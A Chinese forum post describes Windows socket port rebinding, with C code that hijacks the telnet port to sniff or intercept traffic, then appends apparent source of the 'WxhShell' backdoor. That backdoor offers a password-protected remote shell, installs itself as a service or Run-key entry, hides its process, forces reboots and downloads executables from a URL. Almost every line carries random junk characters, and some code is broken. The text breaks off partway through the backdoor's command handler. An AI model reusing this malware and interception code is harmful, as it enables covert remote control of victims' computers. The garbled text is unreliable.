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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lSzLR~=Au  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8I`t`C/4  
M{ mdh\  
  saddr.sin_family = AF_INET; QXcSDJ  
Gcs eq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :"4Pr/}rT  
c{dge/2yb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8(EK17rE `  
2HemPth  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8- U1Y  
X<<hb  
  这意味着什么?意味着可以进行如下的攻击: D< h+r?  
hS}d vZa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }I1SC7gY  
RS>;$O_(M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v0yaFP#kG  
@rO4BTi>O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NBUSr}8|  
_*I@ J/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Uczb"k5  
_*SA_.0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gw/imXL  
m.}Yn,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5g{F-  
YGj3W.eH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Rt[zZv  
3k J8Wn  
  #include dDAI fe2y  
  #include _ xAL0 (  
  #include `T gwa  
  #include    K38A;=t9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T7!"gJ  
  int main() EN =oA P  
  { v~2$9x!9  
  WORD wVersionRequested; l<]@5"wN  
  DWORD ret; 9,4Lb]  
  WSADATA wsaData; LXIQpD,M  
  BOOL val; cnUYhxE+s  
  SOCKADDR_IN saddr; %$)[qa3  
  SOCKADDR_IN scaddr; ecoi4f  
  int err; i+2fWi6Z+  
  SOCKET s; -xc*R%k  
  SOCKET sc; sMq*X^z )?  
  int caddsize; ;!JI$_ -\  
  HANDLE mt; ~e ,D`Lv  
  DWORD tid;   i9qn_/<c  
  wVersionRequested = MAKEWORD( 2, 2 ); =-r[ s%t &  
  err = WSAStartup( wVersionRequested, &wsaData ); &3SQVOW ~T  
  if ( err != 0 ) { 8e`'Ox_5a  
  printf("error!WSAStartup failed!\n"); {PXN$p:'  
  return -1; GtCbzNY  
  } l 4zl|6%  
  saddr.sin_family = AF_INET; c3X'Sv  
   L@"1d.k_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0<8p G:BQ  
ZZ<uiN$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5w\>Whbd  
  saddr.sin_port = htons(23); ;<JyA3i^V,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [84f[`!Ui  
  { 1@j0kTJ~m  
  printf("error!socket failed!\n"); "QWF&-kAI  
  return -1; =,/08Cs  
  } D{]t50a.  
  val = TRUE; ~JJuM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GvL)SVv?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _k0 X)N+li  
  { q"|,HpQ  
  printf("error!setsockopt failed!\n"); \a|Fh hI  
  return -1; #+v Iq?  
  } RJo"yB$1e6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~VRt 6C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bOt6q/f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1<y|,  
.o(XnY)cgJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C6=P(%y  
  { (8(7:aE $  
  ret=GetLastError(); Hl,.6 >F?  
  printf("error!bind failed!\n"); kj o,?$r %  
  return -1; A/XY' 3  
  } p97}HT}  
  listen(s,2); jm_b3!J  
  while(1) {Lex((  
  { om`x"x&6  
  caddsize = sizeof(scaddr); w"Q6'/P  
  //接受连接请求 JMMT886  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U4J9b p|  
  if(sc!=INVALID_SOCKET) c~@Z  
  { -'j_JJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~w&P]L\dB  
  if(mt==NULL) 7IrbwAGZ3  
  { }=1#ANM1  
  printf("Thread Creat Failed!\n"); a@E+/9  
  break; qno8qF*  
  } #}/YnVk  
  } ?R7>xrp5  
  CloseHandle(mt); vtvF)jlX  
  } "ooq1 0P  
  closesocket(s); r[ UZHX5+S  
  WSACleanup(); .Ulrv5wJ  
  return 0;  As&=Pb9  
  }   )T-C/ 3  
  DWORD WINAPI ClientThread(LPVOID lpParam) +1Qa7 \  
  { wUGSM"~ |  
  SOCKET ss = (SOCKET)lpParam; mgIB8D+6  
  SOCKET sc; 0Q81$% @<  
  unsigned char buf[4096]; XYJ7k7zc+Y  
  SOCKADDR_IN saddr; u!=9.3  
  long num; C%$:Oq  
  DWORD val; 7oPLO(0L  
  DWORD ret; :^c ' P<HM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #J 1vN]g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wABaNB=9;  
  saddr.sin_family = AF_INET; J}Q4.1WG$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *hhPCYOm  
  saddr.sin_port = htons(23); LL|uMe"Jb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qSB]Zm<  
  { HLL[r0P`F  
  printf("error!socket failed!\n"); 'W!N1W@  
  return -1; ea"!:cL(g  
  } o"^+i#H!  
  val = 100; njbEw4nX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hJr cy!P<a  
  { B0_[bQoc1  
  ret = GetLastError(); %?GLMf7)  
  return -1; f`zH#{u  
  } MIblx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^6tcB* #A  
  { l98.Hb7  
  ret = GetLastError(); [I4:R_\  
  return -1; [(Z sQK  
  } T=/GFg'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f}jo18z%  
  { 'hTA O1n8  
  printf("error!socket connect failed!\n"); s:_M+_7_  
  closesocket(sc); 6`/nA4S4.  
  closesocket(ss); E5-f{Qc  
  return -1; 4NY00d/R  
  } 8db J'  
  while(1) @8IY J{=  
  { tY?_#rc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (7C&I- l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gmU_# J%~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'S_kD! BO  
  num = recv(ss,buf,4096,0); wz!a;]agg  
  if(num>0) ^tWt"GgC  
  send(sc,buf,num,0); udRum7XW 3  
  else if(num==0) u/`jb2eEU:  
  break; aNZJs<3;'D  
  num = recv(sc,buf,4096,0); yZ {H  
  if(num>0) !$ $|zB%  
  send(ss,buf,num,0); hD~P)@^  
  else if(num==0) -JL  
  break; m7zx,bz>  
  } X bF;  
  closesocket(ss); $~h\8  
  closesocket(sc); x"hZOgFZ  
  return 0 ; L@ ,-V  
  } fZoV\a6Kj  
Dj=OUo[[d  
2h<{~;  
========================================================== .rfufx9Sw  
{fkW0VB;  
下边附上一个代码,,WXhSHELL K\Oz ~,z  
-7 GF2 @  
========================================================== 6kW<i,A -  
1-_op !N  
#include "stdafx.h" 5gZEcJ  
68m (%%E@  
#include <stdio.h> ('!{kVLT-  
#include <string.h> :}r^sD  
#include <windows.h> nWTo$*>W  
#include <winsock2.h> HOWm""IkB  
#include <winsvc.h> S@AHI!"h=V  
#include <urlmon.h> [ \I&/?On  
,vfi]_PK  
#pragma comment (lib, "Ws2_32.lib") E0K'|*  
#pragma comment (lib, "urlmon.lib") <E2+P,Lgw  
4@,d{qp~  
#define MAX_USER   100 // 最大客户端连接数 Y{].%xM5  
#define BUF_SOCK   200 // sock buffer {`Ekv/XWa  
#define KEY_BUFF   255 // 输入 buffer yY,O=yOjq  
("2ukHc  
#define REBOOT     0   // 重启 H*#L~!]  
#define SHUTDOWN   1   // 关机 @"M%ZnFu  
:HSqa9>wa  
#define DEF_PORT   5000 // 监听端口 ~vD7BO`  
sE*A,z?  
#define REG_LEN     16   // 注册表键长度 EN lqoj1  
#define SVC_LEN     80   // NT服务名长度 PJC[#>}  
!Vtt.j &4  
// 从dll定义API "NUl7ce.R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X~/hv_@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EJ$-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =bJj;bc'5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g~ tG  
~n)!e#p  
// wxhshell配置信息 C$X )I~M  
struct WSCFG { +\SNaq~&  
  int ws_port;         // 监听端口 I }AO_rtb  
  char ws_passstr[REG_LEN]; // 口令 ;#np~gL  
  int ws_autoins;       // 安装标记, 1=yes 0=no zd) 2@jX=  
  char ws_regname[REG_LEN]; // 注册表键名 %w <59d6  
  char ws_svcname[REG_LEN]; // 服务名 E?c)WA2iH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wGd4:W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V K/;ohTTP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Aw| 7XII  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \;0J6LBc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Ji.bnfK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EleK*l  
<ex,@{n4  
}; 1:-^*  
__U;fH{c  
// default Wxhshell configuration F$ kLft[:  
struct WSCFG wscfg={DEF_PORT, zk+&5d 4(  
    "xuhuanlingzhe", |*4)G6J@n  
    1, P8DT2|Z6f]  
    "Wxhshell", \cq gCab/2  
    "Wxhshell", l~.}#$P]  
            "WxhShell Service", 1jdv<\U   
    "Wrsky Windows CmdShell Service", ,E]u[7A  
    "Please Input Your Password: ", 5t6!K?}  
  1, ei 1(A  
  "http://www.wrsky.com/wxhshell.exe", ()=u#y  
  "Wxhshell.exe" D#>+]}5@x  
    }; pdnkHR$  
(k?,+jnR  
// 消息定义模块 4l! ^"=rh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3c5=>'^F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZyE2=w7n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K*uFqdLL!  
char *msg_ws_ext="\n\rExit."; k0|*8  
char *msg_ws_end="\n\rQuit."; h:QKd!Gq  
char *msg_ws_boot="\n\rReboot..."; _vA\j  
char *msg_ws_poff="\n\rShutdown..."; yteJHaq  
char *msg_ws_down="\n\rSave to "; rvT7 5dV0  
MpbH!2J  
char *msg_ws_err="\n\rErr!"; 8fpaY{]  
char *msg_ws_ok="\n\rOK!"; Xrnxpp!#^D  
u@SE)qg  
char ExeFile[MAX_PATH]; a jy.K'B*  
int nUser = 0; >SJ# rZ  
HANDLE handles[MAX_USER]; &(!Sy?tNe  
int OsIsNt; x{u7#s1|/  
pm<zw-  
SERVICE_STATUS       serviceStatus; {r2-^Q HF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YQ>P{I%J  
;I'pC?!y  
// 函数声明 K~nk:}3Ui  
int Install(void); 7&G[mOx0  
int Uninstall(void); m ys5B}  
int DownloadFile(char *sURL, SOCKET wsh); =re1xR!E5  
int Boot(int flag); YH`/;H=$G/  
void HideProc(void); mq$mB1$3u  
int GetOsVer(void); CFJ F}aW  
int Wxhshell(SOCKET wsl); q|J3]F !n  
void TalkWithClient(void *cs); ?'H);ou-p  
int CmdShell(SOCKET sock);  /kGRN @  
int StartFromService(void); ^n5[pF}Gw  
int StartWxhshell(LPSTR lpCmdLine); M70Xdn  
A:3bL: ;t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +O23@G?x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '>(R'g42n  
0*^)n&O  
// 数据结构和表定义 SJ1 1LF3)  
SERVICE_TABLE_ENTRY DispatchTable[] = i70TJk$fs  
{ >V:g'[b  
{wscfg.ws_svcname, NTServiceMain}, (80#{4kl  
{NULL, NULL} gx&BzODPd0  
}; 620y[iiK$  
Qg+0(odd  
// 自我安装 )%8oE3O#  
int Install(void) IC}?oXs5G  
{ c }>:>^  
  char svExeFile[MAX_PATH]; ADRjCk}I  
  HKEY key; nGA'\+zj L  
  strcpy(svExeFile,ExeFile); 8;7Y}c  
v#0R   
// 如果是win9x系统,修改注册表设为自启动 }fw;{&s{z  
if(!OsIsNt) { GW$ (E*4q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v%3mhk#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HxJKS*H;  
  RegCloseKey(key); qPdNI1 |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d,au&WZ;_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]X +3"  
  RegCloseKey(key); 5J1A|qII  
  return 0; b7>^w<ki  
    } E)|_7x<u  
  } E"iH$NN  
} SymSAq0$F  
else { .E|Hk,c9  
yEUFK  
// 如果是NT以上系统,安装为系统服务 bL 5z%bV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sv.z9@S  
if (schSCManager!=0) D3yG@lIP3  
{ XtfO;`   
  SC_HANDLE schService = CreateService 9&5\L  
  ( @YmD 79  
  schSCManager, 5,>1rd<B  
  wscfg.ws_svcname, 'Omi3LXfDT  
  wscfg.ws_svcdisp, \s Fdp!M}2  
  SERVICE_ALL_ACCESS, N1WP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?}%Gr,tj2  
  SERVICE_AUTO_START, DG1  >T  
  SERVICE_ERROR_NORMAL, 4R\bU"+jZ_  
  svExeFile, NLM ]KT  
  NULL, ay#cW.,  
  NULL, -bo2"*|m  
  NULL, NtMK+y  
  NULL, ws5x53K  
  NULL x Yr-,$/  
  ); {e[S?1t=l  
  if (schService!=0) J) v~  
  { _#9:cH*  
  CloseServiceHandle(schService); jJl6H~ "q  
  CloseServiceHandle(schSCManager); U7J0&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KC o<%  
  strcat(svExeFile,wscfg.ws_svcname); Y-&r_s_~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { { 'Hi_b3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fa^5.p  
  RegCloseKey(key); i](,s.  
  return 0; cs`/^2Vf"#  
    } Y."ujo#bB  
  } i7 `dY {p7  
  CloseServiceHandle(schSCManager); R3F>"(P@tS  
} j~V@0z.  
} YKLh$  
12Qcjj%F*  
return 1; ]9)pFL  
} 5bFE;Y;  
*=0Wh@?0  
// 自我卸载 &$  F0  
int Uninstall(void) ayyn6a8  
{ YE&"IH]lF  
  HKEY key; La? q>  
` 1DJwe2  
if(!OsIsNt) { 2;%DE<Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )F&@ M;2p'  
  RegDeleteValue(key,wscfg.ws_regname); _:0<]<x?  
  RegCloseKey(key);  }5bh,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {rGq|Bj  
  RegDeleteValue(key,wscfg.ws_regname); #(h~l> r  
  RegCloseKey(key); )eGGA6G  
  return 0; }GsZ)\!$4  
  } H ~1laV  
} >b,o yM  
} CmRn  
else { &'Qz  
@/yRE^c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lDV8<  
if (schSCManager!=0) qf+jfc(Iby  
{ &KgR;.R^J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nul?5{z@  
  if (schService!=0) _~_04p  
  { >yUThhJRn  
  if(DeleteService(schService)!=0) { dra'1E  
  CloseServiceHandle(schService); ];6c/#2x  
  CloseServiceHandle(schSCManager); rwFR5  
  return 0; [y}/QPR  
  } 7CUu:6%  
  CloseServiceHandle(schService); *103  
  } B Hn`e~  
  CloseServiceHandle(schSCManager); >5wA B  
} QL}5vSl  
} R B.j@*  
u#%Ig3  
return 1; >joGG T  
} O;f^' N  
4 C[,S|J  
// 从指定url下载文件 fOJk+? c  
int DownloadFile(char *sURL, SOCKET wsh) +%X_+9bd  
{ 93 x.b]] "  
  HRESULT hr; [{N i94:d  
char seps[]= "/"; qLKyr@\'  
char *token; 7GfgW02  
char *file;  wxsJB2  
char myURL[MAX_PATH]; twt Bt L  
char myFILE[MAX_PATH]; lf0/ 0KH  
nSsVONHfa  
strcpy(myURL,sURL); n0U^gsD4J  
  token=strtok(myURL,seps); 9~zh]deH  
  while(token!=NULL) 2iI"|k9M  
  { =b32E^z,  
    file=token; y4VCehdJ  
  token=strtok(NULL,seps); D[ 7K2G+  
  } -QIcBzw;q  
cZ|D!1%  
GetCurrentDirectory(MAX_PATH,myFILE); JwB:NqB  
strcat(myFILE, "\\"); yNc>s/  
strcat(myFILE, file); Yc=y  Vh  
  send(wsh,myFILE,strlen(myFILE),0); _XXK1H x  
send(wsh,"...",3,0); E{T\51V]%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GWjKZ1p  
  if(hr==S_OK) ro@Zbm;P  
return 0; #i ?@S$  
else N$pwTyk  
return 1; H24g+<Tv  
POH >!lHu  
} qS&PMQ"$  
rZu_"bcJ  
// 系统电源模块 W euV+}\b  
int Boot(int flag) `m3@mJ!>\  
{ 90sMS]a  
  HANDLE hToken; V==' 7n  
  TOKEN_PRIVILEGES tkp; FtM7+>Do.  
VT3Zo%Xx  
  if(OsIsNt) { Sx;zvc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c/;t.+g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lj*F KP\{  
    tkp.PrivilegeCount = 1; }K~JM1(26  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <B`}18x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {tOuKnnS  
if(flag==REBOOT) { J}jK_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vnh +2XiK  
  return 0;  3mWo`l  
} rctn0*MP  
else { lx$Y-Tb^F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gK(E0p"  
  return 0; XYod>[.x  
} l]WV?^*  
  } hNDhee`%6  
  else { (N;Jw^C@  
if(flag==REBOOT) { [7<X&Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zmr=iK  
  return 0; ^+`vh0TPQ  
} t)cG_+rJ  
else { G]P4[#5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c::x.B"w  
  return 0; Lom%eoH)  
} 32~Tf,  
} e"r}I!.  
/lr RbZ  
return 1; ujz %0Mq;  
} + W@r p#  
Z6D4VZVF  
// win9x进程隐藏模块 <g*rTqT'  
void HideProc(void) M|n)LyL  
{ %M}zi'qQ?  
7IK<9i4O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dZ%b|CUb  
  if ( hKernel != NULL ) q{U -kuui  
  { te6[^_k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~;+i[Z&e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Z_U]_(  
    FreeLibrary(hKernel); GbP!l;a  
  } /2FX"I[0V%  
` t6lnO  
return; Efp=z=E  
} 1/cb;:h>  
@lTUag'U0  
// 获取操作系统版本 7]nPWz1%*  
int GetOsVer(void) xR_]^Get  
{ >E]*5jqU  
  OSVERSIONINFO winfo; ]m4LY.SQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gKYn*  
  GetVersionEx(&winfo); uXhp+q\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +B8Ut{l  
  return 1; vnN_csJ#^  
  else UD9h5PgT  
  return 0; $35Oyd3s<  
} e. [+xOu`  
aNq Vs|H  
// 客户端句柄模块 etTuukq_Z  
int Wxhshell(SOCKET wsl) +vU.#C_2  
{ -g@pJ^>:  
  SOCKET wsh; hA@X;Mh^w  
  struct sockaddr_in client; @W. `'b-  
  DWORD myID; :+R5"my  
M  j5C0P(  
  while(nUser<MAX_USER) ZzKn,+  
{ BbU&e z8P  
  int nSize=sizeof(client); ADR`j;2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [")0{LSA=  
  if(wsh==INVALID_SOCKET) return 1; l w%fY{  
CC)9Ks\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y.O? c &!  
if(handles[nUser]==0) r p @=  
  closesocket(wsh); IcQ?^9%{  
else Z(<ul<?r  
  nUser++; ]$L[3qA.  
  } Fe=4^.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3YLnh@-  
Fj]S8wI  
  return 0; qnA:[H;F  
} <5X@r#Lz  
JfVay I=  
// 关闭 socket zu^ AkMc  
void CloseIt(SOCKET wsh) $< aBawLZO  
{ "|Pl(HX  
closesocket(wsh); /C(L(X  
nUser--; xJ"KR:CD>  
ExitThread(0); a6]!4  
} sW]n~kTt'  
N!m%~},s//  
// 客户端请求句柄 V`H#|8\i  
void TalkWithClient(void *cs) r[,KE.^6~#  
{ @"~\[z5  
G` 8j ^H,  
  SOCKET wsh=(SOCKET)cs; r]E$uq bR  
  char pwd[SVC_LEN]; !e7vc[N  
  char cmd[KEY_BUFF]; )a}5\V  
char chr[1]; )R|7> 97  
int i,j; a>kD G <.A  
-0]aOT--  
  while (nUser < MAX_USER) { NRl"!FSD;"  
H 0h  
if(wscfg.ws_passstr) { pP r<8tm[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {10ms_s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tS9m8(Hr%Q  
  //ZeroMemory(pwd,KEY_BUFF); 1y@-  
      i=0; 7d<v\=J}  
  while(i<SVC_LEN) { z=fag'fzM  
-?]ltn9!  
  // 设置超时 9F-k:hD |  
  fd_set FdRead; W+eN%w5  
  struct timeval TimeOut; ;+jp,( 7  
  FD_ZERO(&FdRead); {jVFlKP>  
  FD_SET(wsh,&FdRead); E??%)q  
  TimeOut.tv_sec=8; C=]3NB>Jc  
  TimeOut.tv_usec=0; =;`YtOL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #<~f~{x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F9<OKcXH  
Ya_6Zd4O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); roA1= G\Q  
  pwd=chr[0]; .( J /*H  
  if(chr[0]==0xd || chr[0]==0xa) { 3K{8sFDO  
  pwd=0; g}D$`Nx:  
  break; K@i*Nl  
  } 0l##M06>  
  i++; aE%VH ;?  
    } *Q>:|F[vM  
j*zK"n  
  // 如果是非法用户,关闭 socket M'HOw)U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j"V$J8)[  
} t#q> U%!  
Ocb2XEF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "h2Ny#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c]]F`B  
s6D-?G*u%8  
while(1) { H94.E|Q\+  
p3S c4  
  ZeroMemory(cmd,KEY_BUFF); kmoJ`W} N  
Z])_E 6.  
      // 自动支持客户端 telnet标准   n,F00Y R  
  j=0; Chua>p!$g  
  while(j<KEY_BUFF) { O)Qz$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zfZDtKq  
  cmd[j]=chr[0]; m=9 N^_  
  if(chr[0]==0xa || chr[0]==0xd) { H6I #Xj  
  cmd[j]=0; "uCQm '  
  break; lkm(3y@']A  
  } c|R/,/  
  j++; jQb D2x6(  
    } 9PJDT]  
Z C93C7lJ  
  // 下载文件 Kzb@JBIF  
  if(strstr(cmd,"http://")) { 9X%Klm 5w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @5wg'mM  
  if(DownloadFile(cmd,wsh)) W~tOH=9>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oe YLL4H  
  else p[)<d_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CwvNxH#LVu  
  } W,~1KUTc  
  else { s2v*  
]Yg EnZ  
    switch(cmd[0]) { 5avO48;Vc  
  u\xm8}A  
  // 帮助 `$H   
  case '?': { {H V,2-z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C6w{"[Wv=X  
    break; f 99PwE(=  
  } <<6w9wNon  
  // 安装 cnthtv+(~  
  case 'i': { 9ojhI=:  
    if(Install()) 5B 7*Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^W D$ gd  
    else @>5<m'}2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }^[@m#  
    break; zRu`[b3u<  
    } dLf8w>i`T  
  // 卸载 tTH%YtG  
  case 'r': { 2-0cB$W+  
    if(Uninstall()) )^H9C"7T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aa>gN  
    else S=p u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Ca\ (82  
    break; cEdJn@ ,  
    } =on!&M  
  // 显示 wxhshell 所在路径 GiXde}bm  
  case 'p': { v{n}%akc  
    char svExeFile[MAX_PATH]; =-LX)|x}  
    strcpy(svExeFile,"\n\r"); >8fH5  
      strcat(svExeFile,ExeFile); 1omvE9 %zM  
        send(wsh,svExeFile,strlen(svExeFile),0); >UY_:cW4%m  
    break; 9M]"%E!s  
    } W_\L_)^X  
  // 重启 J~3T8e#  
  case 'b': { #<Nvy9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NCnId}BT  
    if(Boot(REBOOT)) b:Kw_Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b U]N^og^  
    else { ==1/N{{R  
    closesocket(wsh); K9Xd? ]a  
    ExitThread(0); DA)v3Nd  
    } oxQID  
    break; %:KV2GP  
    } vQ mackY  
  // 关机 !`[I>:Ex  
  case 'd': { 8 QF?W{NK  
